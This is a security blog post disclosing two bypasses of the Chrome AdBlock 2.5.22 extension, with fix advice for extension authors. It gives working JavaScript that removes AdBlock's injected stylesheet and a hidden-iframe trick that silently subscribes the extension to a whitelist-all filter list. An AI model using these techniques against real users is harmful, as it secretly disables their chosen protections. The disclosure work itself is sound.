

Chrome addons hacking: Bye Bye AdBlock filters!

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Content

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Continuing the Chrome extension hacking (see [part 1](#) and [2](#)), this time I'd like to draw you attention to the oh-so-popular [AdBlock](#) extension. It has **over a million users**, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still **relatively easy to bypass** it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.

****tl;dr: ****Chrome AdBlock 2.5.22 bypasses, demo [here](#) and [here](#), but I'd advise you to read on.

Preparation

If you want to analyze the extension code yourself, use my [download script](#) to fetch the addon from Chrome Web Store and read on:

```
// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkbiglidom Adblock
```

Of course, you don't need to, but if you won't it makes me sad :/

Small bypass - disabling filter injection

Like many Chrome extensions, Adblock alters the content of the webpages you see by modifying a page DOM. For example, it injects a `<link rel=stylesheet>` that hides all ads with [CSS](#). This all happens in `adblock_start_common.js`:

```
function block_list_via_css(selectors) {
  var d = document.head || document.documentElement;
  //....
  // Issue 6480: inserting a <style> tag too quickly made it be ignored.
  // Use ABP's approach: a <link> tag that we can check for .sheet.
  var css_chunk = document.createElement("link");
  css_chunk.type = "text/css";
  css_chunk.rel = "stylesheet";
  css_chunk.href = "data:text/css,";
  d.insertBefore(css_chunk, null);
  // ... and fill the node contents later on
```

Sweet & cool, right? But the problem is websites have [tons of ways](#) to defend themselves from being altered. After all, it's *their* DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.

```
function block(node) {
  if ( (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
    || (node.nodeName == 'STYLE' && node.innerText.match(/^\\^*This block of style rules is inserted by Adblock/)) //
  ) {
    node.parentElement.removeChild(node);
  }
}

document.addEventListener("DOMContentLoaded", function() {
  document.addEventListener('DOMNodeInserted', function(e) {
    // disable blocking styles inserted by Adblock
    block(e.target);
  }, false);
}, false);
```

In the effect the stylesheet is removed and the ads are not hidden anymore. **See in the [demo](#).** This is similar to how many Chrome extensions work. Extension authors should remember that ****you can't rely on page DOM to be cool with you, it can actively prevent modification. ****In other words, it's not your backyard, behave.

Total bypass - Disable Adblock for good

The previous one was a kid's play, but the real deal is here. Any website can [detect](#) if you're using Chrome Adblock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html page. Here's what happens:

```
// pages/subscribe.js
//Get the URL
var queryparts = parseUri.parseSearch(document.location.search);
...
//Subscribe to a list
var requiresList = queryparts.requiresLocation ?
  "url:" + queryparts.requiresLocation : undefined;
BGcall("subscribe",
  {id: 'url:' + queryparts.location, requires:requiresList});
```

First, the query string for the page is parsed and then a subscription request is sent to [extension background page](#) getting the location parameter. So, when extension launches subscribe.html?location=http://example.com this will subscribe to a filter from URL http://example.com.

All neat, but what extension authors don't know, **standard web pages page can load your extension resources too**. In the future, extension authors can limit this by using [web_accessible_resources](#), but for Current Chrome 17 it's not possible.

So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a [whitelist-all](#) list:

```
<iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.h
```

**See for yourself in the [demo](#).* * To reenale AdBlock functionality go to extension settings, choose the filter list tab and disable the last added filter (koto.github.com one).

How to fix this in the code? **Don't rely on the URL of your extension resource to perform some action.**

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